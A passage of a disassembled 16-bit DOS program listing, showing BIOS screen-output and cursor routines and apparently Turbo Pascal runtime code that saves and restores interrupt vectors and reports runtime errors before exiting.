  742.         cmp    bx,si
  743.         jbe    loc_19                ; Jump if below or =
  744.         mov    si,bx
  745.         jmp    short loc_19
  746.   
  747. locloop_20:
  748.         or    bx,bx                ; Zero ?
  749.         jz    loc_19                ; Jump if zero
  750.         mov    al,8
  751.         call    sub_16
  752.         mov    al,20h                ; ' '
  753.         call    sub_16
  754.         mov    al,8
  755.         call    sub_16
  756.         dec    bx
  757.         loop    locloop_20            ; Loop if cx > 0
  758.   
  759.         jmp    short loc_19
  760.   
  761. locloop_21:
  762.         cmp    bx,si
  763.         je    loc_19                ; Jump if equal
  764.         mov    al,es:[bx+di]
  765.         cmp    al,20h                ; ' '
  766.         jb    loc_19                ; Jump if below
  767.         call    sub_16
  768.         inc    bx
  769.         loop    locloop_21            ; Loop if cx > 0
  770.   
  771.         jmp    short loc_19
  772. loc_22:
  773.         cmp    data_15,0            ; (7058:003F=0)
  774.         je    loc_19                ; Jump if equal
  775.         mov    es:[bx+di],al
  776.         inc    bx
  777.         jmp    short loc_24
  778. loc_23:
  779.         call    sub_15
  780.         mov    word ptr es:[bx+di],0A0Dh
  781.         inc    bx
  782.         inc    bx
  783. loc_24:
  784.         les    di,dword ptr [bp+6]        ; Load 32 bit ptr
  785.         xor    ax,ax                ; Zero register
  786.         mov    es:[di+8],ax
  787.         mov    es:[di+0Ah],bx
  788.         pop    bp
  789.         ret    4                ; Return far
  790.         db    8Bh, 0DCh, 36h, 0C4h, 7Fh, 4
  791.         db    26h, 8Bh, 4Dh, 8, 26h, 29h
  792.         db    4Dh, 8, 0E3h, 19h, 26h, 0C4h
  793.         db    7Dh, 0Ch, 80h, 3Eh, 40h, 0
  794.         db    0, 75h, 0Bh
  795.   
  796. locloop_25:
  797.         mov    al,es:[di]
  798.         call    sub_16
  799.         inc    di
  800.         loop    locloop_25            ; Loop if cx > 0
  801.   
  802.         jmp    short loc_26
  803.         db    0E8h, 9Ch, 0
  804. loc_26:
  805.         call    sub_8
  806.         xor    ax,ax                ; Zero register
  807.         ret    4                ; Return far
  808.         db    33h, 0C0h, 0CAh, 4, 0
  809.   
  810. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  811. ;                   SUBROUTINE
  812. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  813.   
  814. sub_15        proc    near
  815.         mov    al,0Dh
  816.         call    sub_16
  817.         mov    al,0Ah
  818.   
  819. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  820.   
  821. sub_16:
  822.         push    bx
  823.         push    cx
  824.         push    dx
  825.         push    es
  826.         push    ax
  827.         call    sub_18
  828.         pop    ax
  829.         cmp    al,7
  830.         je    loc_27                ; Jump if equal
  831.         cmp    al,8
  832.         je    loc_28                ; Jump if equal
  833.         cmp    al,0Dh
  834.         je    loc_29                ; Jump if equal
  835.         cmp    al,0Ah
  836.         je    loc_30                ; Jump if equal
  837.         mov    ah,9
  838.         mov    bl,data_19            ; (7058:0044=0A1h)
  839.         xor    bh,bh                ; Zero register
  840.         mov    cx,1
  841.         push    dx
  842.         call    sub_22
  843.         pop    dx
  844.         inc    dl
  845.         cmp    dl,data_21            ; (7058:0048=32h)
  846.         jbe    loc_31                ; Jump if below or =
  847.         mov    dl,byte ptr data_20        ; (7058:0046=0B4h)
  848.         jmp    short loc_30
  849. loc_27:
  850.         mov    ah,0Eh
  851.         call    sub_22
  852.         jmp    short loc_31
  853. loc_28:
  854.         cmp    dl,byte ptr data_20        ; (7058:0046=0B4h)
  855.         je    loc_31                ; Jump if equal
  856.         dec    dl
  857.         jmp    short loc_31
  858. loc_29:
  859.         mov    dl,byte ptr data_20        ; (7058:0046=0B4h)
  860.         jmp    short loc_31
  861. loc_30:
  862.         call    sub_17
  863. loc_31:
  864.         call    sub_19
  865.         pop    es
  866.         pop    dx
  867.         pop    cx
  868.         pop    bx
  869.         ret
  870. sub_15        endp
  871.   
  872.   
  873. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  874. ;                   SUBROUTINE
  875. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  876.   
  877. sub_17        proc    near
  878.         inc    dh
  879.         cmp    dh,data_22            ; (7058:0049=0FFh)
  880.         jbe    loc_ret_32            ; Jump if below or =
  881.         dec    dh
  882.         push    cx
  883.         push    dx
  884.         mov    ax,601h
  885.         mov    bh,data_19            ; (7058:0044=0A1h)
  886.         mov    cx,data_20            ; (7058:0046=8B4h)
  887.         mov    dx,word ptr data_21        ; (7058:0048=0FF32h)
  888.         call    sub_22
  889.         pop    dx
  890.         pop    cx
  891.   
  892. loc_ret_32:
  893.         ret
  894. sub_17        endp
  895.   
  896.   
  897. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  898. ;                   SUBROUTINE
  899. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  900.   
  901. sub_18        proc    near
  902.         mov    ah,3
  903.         xor    bh,bh                ; Zero register
  904.         jmp    loc_52
  905.   
  906. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  907.   
  908. sub_19:
  909.         mov    ah,2
  910.         xor    bh,bh                ; Zero register
  911.         jmp    loc_52
  912.   
  913. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  914.   
  915. sub_20:
  916.         push    ds
  917.         mov    ax,40h
  918.         mov    ds,ax
  919.         mov    dx,ds:data_5e            ; (0040:0050=184Fh)
  920.         pop    ds
  921.         mov    bx,dx
  922.         mov    si,di
  923.   
  924. locloop_33:
  925.         mov    al,es:[di]
  926.         cmp    al,7
  927.         je    loc_34                ; Jump if equal
  928.         cmp    al,8
  929.         je    loc_35                ; Jump if equal
  930.         cmp    al,0Ah
  931.         je    loc_36                ; Jump if equal
  932.         cmp    al,0Dh
  933.         je    loc_37                ; Jump if equal
  934.         inc    di
  935.         inc    dl
  936.         cmp    dl,data_21            ; (7058:0048=32h)
  937.         jbe    loc_40                ; Jump if below or =
  938.         call    sub_21
  939.         call    sub_17
  940.         mov    dl,byte ptr data_20        ; (7058:0046=0B4h)
  941.         jmp    short loc_39
  942. loc_34:
  943.         call    sub_21
  944.         push    cx
  945.         push    dx
  946.         mov    ax,0E07h
  947.         call    sub_22
  948.         pop    dx
  949.         pop    cx
  950.         jmp    short loc_38
  951. loc_35:
  952.         call    sub_21
  953.         cmp    dl,byte ptr data_20        ; (7058:0046=0B4h)
  954.         je    loc_38                ; Jump if equal
  955.         dec    dl
  956.         jmp    short loc_38
  957. loc_36:
  958.         call    sub_21
  959.         call    sub_17
  960.         jmp    short loc_38
  961. loc_37:
  962.         call    sub_21
  963.         mov    dl,byte ptr data_20        ; (7058:0046=0B4h)
  964. loc_38:
  965.         inc    di
  966. loc_39:
  967.         mov    si,di
  968.         mov    bx,dx
  969. loc_40:
  970.         loop    locloop_33            ; Loop if cx > 0
  971.   
  972.         call    sub_21
  973.         push    ds
  974.         mov    ax,40h
  975.         mov    ds,ax
  976.         mov    ds:data_5e,dx            ; (0040:0050=184Fh)
  977.         mov    al,dh
  978.         mul    byte ptr ds:data_4e        ; (0040:004A=50h) ax = data * al
  979.         xor    dh,dh                ; Zero register
  980.         add    ax,dx
  981.         mov    cx,ax
  982.         mov    dx,ds:data_6e            ; (0040:0063=3D4h)
  983.         mov    al,0Eh
  984.         out    dx,al                ; port 3D4h, CGA/EGA reg index
  985.                             ;  al = 0Eh, cursor position hi
  986.         jmp    short loc_41
  987. loc_41:
  988.         mov    al,ch
  989.         inc    dx
  990.         out    dx,al                ; port 3D5h, CGA/EGA indxd data
  991.         jmp    short loc_42
  992. loc_42:
  993.         dec    dx
  994.         mov    al,0Fh
  995.         out    dx,al                ; port 3D4h, CGA/EGA reg index
  996.                             ;  al = 0Fh, cursor position lo
  997.         jmp    short loc_43
  998. loc_43:
  999.         mov    al,cl
  1000.         inc    dx
  1001.         out    dx,al                ; port 3D5h, CGA/EGA indxd data
  1002.         pop    ds
  1003.         ret
  1004.   
  1005. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1006.   
  1007. sub_21:
  1008.         cmp    si,di
  1009.         je    loc_ret_51            ; Jump if equal
  1010.         push    cx
  1011.         push    dx
  1012.         push    di
  1013.         push    ds
  1014.         push    es
  1015.         mov    cx,di
  1016.         sub    cx,si
  1017.         mov    dl,data_17            ; (7058:0041=56h)
  1018.         mov    dh,data_19            ; (7058:0044=0A1h)
  1019.         mov    ax,40h
  1020.         mov    ds,ax
  1021.         mov    al,bh
  1022.         mul    byte ptr ds:data_4e        ; (0040:004A=50h) ax = data * al
  1023.         xor    bh,bh                ; Zero register
  1024.         add    ax,bx
  1025.         shl    ax,1                ; Shift w/zeros fill
  1026.         mov    di,ax
  1027.         mov    bx,dx
  1028.         mov    dx,ds:data_6e            ; (0040:0063=3D4h)
  1029.         add    dx,6
  1030.         mov    ax,0B800h
  1031.         cmp    byte ptr ds:data_3e,7        ; (0040:0049=3)
  1032.         jne    loc_44                ; Jump if not equal
  1033.         mov    ah,0B0h
  1034. loc_44:
  1035.         push    es
  1036.         pop    ds
  1037.         mov    es,ax
  1038.         cld                    ; Clear direction
  1039.         or    bl,bl                ; Zero ?
  1040.         jz    loc_48                ; Jump if zero
  1041.   
  1042. locloop_45:
  1043.         lodsb                    ; String [si] to al
  1044.         mov    bl,al
  1045. loc_46:
  1046.         in    al,dx                ; port 3DAh, CGA/EGA vid status
  1047.         test    al,1
  1048.         jnz    loc_46                ; Jump if not zero
  1049.         cli                    ; Disable interrupts
  1050. loc_47:
  1051.         in    al,dx                ; port 3DAh, CGA/EGA vid status
  1052.         test    al,1
  1053.         jz    loc_47                ; Jump if zero
  1054.         mov    ax,bx
  1055.         stosw                    ; Store ax to es:[di]
  1056.         sti                    ; Enable interrupts
  1057.         loop    locloop_45            ; Loop if cx > 0
  1058.   
  1059.         jmp    short loc_50
  1060. loc_48:
  1061.         mov    ah,bh
  1062.   
  1063. locloop_49:
  1064.         lodsb                    ; String [si] to al
  1065.         stosw                    ; Store ax to es:[di]
  1066.         loop    locloop_49            ; Loop if cx > 0
  1067.   
  1068. loc_50:
  1069.         pop    es
  1070.         pop    ds
  1071.         pop    di
  1072.         pop    dx
  1073.         pop    cx
  1074.   
  1075. loc_ret_51:
  1076.         ret
  1077. sub_18        endp
  1078.   
  1079.   
  1080. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1081. ;                   SUBROUTINE
  1082. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1083.   
  1084. sub_22        proc    near
  1085. loc_52:
  1086.         push    si
  1087.         push    di
  1088.         push    bp
  1089.         push    es
  1090.         int    10h                ; Video display   ah=functn 0Fh
  1091.                             ;  get state, al=mode, bh=page
  1092.         pop    es
  1093.         pop    bp
  1094.         pop    di
  1095.         pop    si
  1096.         ret
  1097. sub_22        endp
  1098.   
  1099.         db    13 dup (0)
  1100.   
  1101. seg_b        ends
  1102.   
  1103.   
  1104.   
  1105. ;--------------------------------------------------------------    seg_c -----
  1106.   
  1107. seg_c        segment    para public
  1108.         assume cs:seg_c, ds:seg_c, ss:stack_seg_e
  1109.   
  1110.   
  1111. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1112. ;                   SUBROUTINE
  1113. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1114.   
  1115. sub_23        proc    far
  1116.         mov    dx,seg_d
  1117.         mov    ds,dx
  1118.         mov    data_52,es            ; (7125:0032=0)
  1119.         xor    bp,bp                ; Zero register
  1120.         mov    ax,sp
  1121.         add    ax,13h
  1122.         mov    cl,4
  1123.         shr    ax,cl                ; Shift w/zeros fill
  1124.         mov    dx,ss
  1125.         add    ax,dx
  1126.         mov    data_40,ax            ; (7125:000A=0)
  1127.         mov    data_41,ax            ; (7125:000C=0)
  1128.         add    ax,data_39            ; (7125:0004=0)
  1129.         mov    data_42,ax            ; (7125:000E=0)
  1130.         mov    data_44,ax            ; (7125:0018=0)
  1131.         mov    data_45,ax            ; (7125:001C=0)
  1132.         mov    ax,es:data_68            ; (701E:0002=0)
  1133.         sub    ax,1000h
  1134.         mov    data_46,ax            ; (7125:0020=0)
  1135.         mov    di,252h
  1136.         mov    si,1DDh
  1137.         mov    cx,12h
  1138.         nop
  1139.         cld                    ; Clear direction
  1140.   
  1141. locloop_53:
  1142.         lods    byte ptr cs:[si]        ; String [si] to al
  1143.         mov    ah,35h                ; '5'
  1144.         int    21h                ; DOS Services  ah=function 35h
  1145.                             ;  get intrpt vector al in es:bx
  1146.         mov    [di],bx
  1147.         mov    [di+2],es
  1148.         add    di,4
  1149.         loop    locloop_53            ; Loop if cx > 0
  1150.   
  1151.         push    ds
  1152.         push    cs
  1153.         pop    ds
  1154.         mov    dx,0CEh
  1155.         mov    ax,2500h
  1156.         int    21h                ; DOS Services  ah=function 25h
  1157.                             ;  set intrpt vector al to ds:dx
  1158.         mov    dx,0D5h
  1159.         mov    ax,2523h
  1160.         int    21h                ; DOS Services  ah=function 25h
  1161.                             ;  set intrpt vector al to ds:dx
  1162.         mov    dx,9Dh
  1163.         mov    ax,2524h
  1164.         int    21h                ; DOS Services  ah=function 25h
  1165.                             ;  set intrpt vector al to ds:dx
  1166.         mov    dx,0C6h
  1167.         mov    ax,253Fh
  1168.         int    21h                ; DOS Services  ah=function 25h
  1169.                             ;  set intrpt vector al to ds:dx
  1170.         pop    ds
  1171.         mov    ax,52h
  1172.         push    ds
  1173.         push    ax
  1174.         push    ds
  1175.         push    ax
  1176.         mov    ax,206h
  1177.         push    cs
  1178.         push    ax
  1179.         push    cs
  1180.         call    sub_49
  1181.         push    cs
  1182.         call    sub_33
  1183.         mov    ax,152h
  1184.         push    ds
  1185.         push    ax
  1186.         push    ds
  1187.         push    ax
  1188.         mov    ax,206h
  1189.         push    cs
  1190.         push    ax
  1191.         push    cs
  1192.         call    sub_49
  1193.         push    cs
  1194.         call    sub_34
  1195.         ret                    ; Return far
  1196. sub_23        endp
  1197.   
  1198.   
  1199. ;██████████████████████████████████████████████████████████████████████████
  1200. ;
  1201. ;            External Entry Point
  1202. ;
  1203. ;██████████████████████████████████████████████████████████████████████████
  1204.   
  1205. int_24h_entry    proc    far
  1206.         sti                    ; Enable interrupts
  1207.         add    sp,6
  1208.         pop    ax
  1209.         and    di,1Fh
  1210.         add    di,96h
  1211.         cmp    ah,39h                ; '9'
  1212.         jae    loc_54                ; Jump if above or =
  1213.         mov    di,0FFFFh
  1214. loc_54:
  1215.         push    di
  1216.         mov    ah,54h                ; 'T'
  1217.         int    21h                ; DOS Services  ah=function 54h
  1218.                             ;  get verify flag in al
  1219.         mov    bp,sp
  1220.         or    byte ptr [bp+16h],1
  1221.         pop    ax
  1222.         pop    bx
  1223.         pop    cx
  1224.         pop    dx
  1225.         pop    si
  1226.         pop    di
  1227.         pop    bp
  1228.         pop    ds
  1229.         pop    es
  1230.         iret                    ; Interrupt return
  1231. int_24h_entry    endp
  1232.   
  1233.   
  1234. ;██████████████████████████████████████████████████████████████████████████
  1235. ;
  1236. ;            External Entry Point
  1237. ;
  1238. ;██████████████████████████████████████████████████████████████████████████
  1239.   
  1240. int_3Fh_entry    proc    far
  1241.         mov    ax,0D0h
  1242.         add    sp,6
  1243.         jmp    short loc_55
  1244. int_3Fh_entry    endp
  1245.   
  1246.   
  1247. ;██████████████████████████████████████████████████████████████████████████
  1248. ;
  1249. ;            External Entry Point
  1250. ;
  1251. ;██████████████████████████████████████████████████████████████████████████
  1252.   
  1253. int_00h_entry    proc    far
  1254.         mov    ax,0C8h
  1255. loc_55:
  1256.         pop    cx
  1257.         pop    bx
  1258.         jmp    short loc_56
  1259. int_00h_entry    endp
  1260.   
  1261.   
  1262. ;██████████████████████████████████████████████████████████████████████████
  1263. ;
  1264. ;            External Entry Point
  1265. ;
  1266. ;██████████████████████████████████████████████████████████████████████████
  1267.   
  1268. int_23h_entry    proc    far
  1269.         mov    ax,0FFh
  1270. int_23h_entry    endp
  1271.   
  1272.   
  1273. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1274. ;                   SUBROUTINE
  1275. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1276.   
  1277. sub_24        proc    far
  1278.         xor    cx,cx                ; Zero register
  1279.         xor    bx,bx                ; Zero register
  1280. loc_56:
  1281.         mov    dx,seg_d
  1282.         mov    ds,dx
  1283.         sti                    ; Enable interrupts
  1284.         mov    data_49,ax            ; (7125:002C=0)
  1285.         mov    ax,cx
  1286.         or    ax,bx
  1287.         jz    loc_60                ; Jump if zero
  1288.         mov    ax,data_43            ; (7125:0010=0)
  1289. loc_57:
  1290.         or    ax,ax                ; Zero ?
  1291.         jz    loc_59                ; Jump if zero
  1292.         mov    es,ax
  1293.         cmp    bx,es:data_1e            ; (0000:0010=0FF33h)
  1294.         je    loc_58                ; Jump if equal
  1295.         mov    ax,es:data_2e            ; (0000:0014=0FF54h)
  1296.         jmp    short loc_57
  1297. loc_58:
  1298.         mov    bx,es
  1299. loc_59:
  1300.         sub    bx,data_52            ; (7125:0032=0)
  1301.         sub    bx,10h
  1302. loc_60:
  1303.         mov    data_50,cx            ; (7125:002E=0)
  1304.         mov    data_51,bx            ; (7125:0030=0)
  1305.         les    bx,data_47            ; (7125:0028=0) Load 32 bit ptr
  1306.         mov    ax,es
  1307.         or    ax,bx
  1308.         jz    loc_61                ; Jump if zero
  1309.         xor    ax,ax                ; Zero register
  1310.         mov    word ptr data_47,ax        ; (7125:0028=0)
  1311.         mov    data_48,ax            ; (7125:002A=0)
  1312.         mov    data_53,ax            ; (7125:0036=0)
  1313.         mov    ax,112h
  1314.         push    cs
  1315.         push    ax
  1316.         push    es
  1317.         push    bx
  1318.         ret                    ; Return far
  1319. loc_61:
  1320.         mov    ax,52h
  1321.         push    ds
  1322.         push    ax
  1323.         push    cs
  1324.         call    sub_35
  1325.         mov    ax,152h
  1326.         push    ds
  1327.         push    ax
  1328.         push    cs
  1329.         call    sub_35
  1330.         mov    di,252h
  1331.         mov    si,1DDh
  1332.         mov    cx,12h
  1333.         nop
  1334.         cld                    ; Clear direction
  1335.   
  1336. locloop_62:
  1337.         lods    byte ptr cs:[si]        ; String [si] to al
  1338.         mov    ah,25h                ; '%'
  1339.         push    ds
  1340.         lds    dx,dword ptr [di]        ; Load 32 bit ptr
  1341.         int    21h                ; DOS Services  ah=function 25h
  1342.                             ;  set intrpt vector al to ds:dx
  1343.         pop    ds
  1344.         add    di,4
  1345.         loop    locloop_62            ; Loop if cx > 0
  1346.   
  1347.         mov    ax,data_50            ; (7125:002E=0)
  1348.         or    ax,data_51            ; (7125:0030=0)
  1349.         jz    loc_63                ; Jump if zero
  1350.         mov    bx,1EFh
  1351.         call    sub_25
  1352.         mov    ax,data_49            ; (7125:002C=0)
  1353.         call    sub_26
  1354.         mov    bx,1FEh
  1355.         call    sub_25
  1356.         mov    ax,data_51            ; (7125:0030=0)
  1357.         call    sub_28
  1358.         mov    al,3Ah                ; ':'
  1359.         call    sub_31
  1360.         mov    ax,data_50            ; (7125:002E=0)
  1361.         call    sub_28
  1362.         mov    bx,203h
  1363.         call    sub_25
  1364. loc_63:
  1365.         mov    ax,data_49            ; (7125:002C=0)
  1366.         mov    ah,4Ch                ; 'L'
  1367.         int    21h                ; DOS Services  ah=function 4Ch
  1368.                             ;  terminate with al=return code
  1369. sub_24        endp
  1370.   
  1371.   
  1372. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1373. ;                   SUBROUTINE
  1374. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1375.   
  1376. sub_25        proc    near
  1377. loc_64:
  1378.         mov    al,cs:[bx]
  1379.         or    al,al                ; Zero ?
  1380.         jz    loc_ret_65            ; Jump if zero
  1381.         call    sub_31
  1382.         inc    bx
  1383.         jmp    short loc_64
  1384.   
  1385. loc_ret_65:
  1386.         ret
  1387. sub_25        endp
  1388.   
  1389.   
  1390. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1391. ;                   SUBROUTINE
  1392. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1393.   
  1394. sub_26        proc    near
  1395.         mov    cl,64h                ; 'd'
  1396.         call    sub_27
  1397.         mov    cl,0Ah
  1398.         call    sub_27
  1399.         jmp    short loc_66
  1400.   
  1401. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1402.   
  1403. sub_27:
  1404.         xor    ah,ah                ; Zero register
  1405.         div    cl                ; al, ah rem = ax/reg
  1406. loc_66:
  1407.         add    al,30h                ; '0'
  1408.         push    ax
  1409.         call    sub_31
  1410.         pop    ax
  1411.         mov    al,ah
  1412.         ret
  1413. sub_26        endp
  1414.   
  1415.   
  1416. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1417. ;                   SUBROUTINE
  1418. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1419.   
  1420. sub_28        proc    near
  1421.         push    ax
  1422.         mov    al,ah
  1423.         call    sub_29
  1424.         pop    ax
  1425.   
  1426. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1427.   
  1428. sub_29:
  1429.         push    ax
  1430.         mov    cl,4
  1431.         shr    al,cl                ; Shift w/zeros fill
  1432.         call    sub_30
  1433.         pop    ax
  1434.         and    al,0Fh
  1435.   
  1436. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1437.   
  1438. sub_30:
  1439.         add    al,30h                ; '0'
  1440.         cmp    al,3Ah                ; ':'
  1441.         jb    loc_67                ; Jump if below
  1442.         add    al,7
  1443.   
  1444. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1445.   
  1446. sub_31:
  1447. loc_67:
  1448.         mov    dl,al
  1449.         mov    ah,6
  1450.         int    21h                ; DOS Services  ah=function 06h
  1451.                             ;  special char i/o, dl=subfunc
  1452.         ret
  1453. sub_28        endp
  1454.   
  1455.         db    0, 2, 1Bh
  1456.         db    '#$456789:;<=>?uRuntime error '
  1457.         db    0, 20h, 61h, 74h, 20h, 0
  1458.         db    2Eh, 0Dh, 0Ah, 0, 33h, 0C0h
  1459.         db    87h, 6, 36h, 0, 0CBh
  1460.   
  1461. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1462. ;                   SUBROUTINE
  1463. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1464.   
  1465. sub_32        proc    far
  1466.         cmp    data_69,0            ; (0000:0036=0C800h)
  1467.         jne    loc_68                ; Jump if not equal
  1468.         ret                    ; Return far
  1469. loc_68:
  1470.         mov    ax,data_69            ; (0000:0036=0C800h)
  1471.         jmp    loc_55
  1472. sub_32        endp
  1473.   
  1474.         db    8Bh, 0F4h, 36h, 8Eh, 44h, 2
  1475.         db    26h, 3Bh, 55h, 2, 7Fh, 7
  1476.         db    7Ch, 14h, 26h, 3Bh, 5, 72h
  1477.         db    0Fh
  1478. loc_69:
  1479.         cmp    dx,es:[di+6]
  1480.         jl    loc_ret_70            ; Jump if <
  1481.         jg    loc_71                ; Jump if >
  1482.         cmp    ax,es:[di+4]
  1483.         ja    loc_71                ; Jump if above
  1484.   
  1485. loc_ret_70:
  1486.         ret                    ; Return far
  1487. loc_71:
  1488.         mov    ax,0C9h
  1489.         jmp    loc_55
  1490.         db    8Bh
  1491.         db    0F4h, 2Bh, 0F0h, 72h
  1492.         db    0Dh, 81h, 0EEh, 0
  1493.         db    2, 72h, 7, 3Bh
  1494.         db    36h, 34h, 0, 72h, 1, 0CBh
  1495.         db    0B8h, 0CAh, 0, 0E9h, 74h, 0FEh
  1496.         db    8Bh, 0DCh, 1Eh, 36h, 0C4h, 7Fh
  1497.         db    8, 36h, 0C5h, 77h, 4, 0FCh
  1498.         db    33h, 0C0h, 0ABh, 0B8h, 0B0h, 0D7h
  1499.         db    0ABh, 0B8h, 80h, 0, 0ABh, 33h
  1500.         db    0C0h, 0ABh, 0ABh, 0ABh, 8Dh, 45h
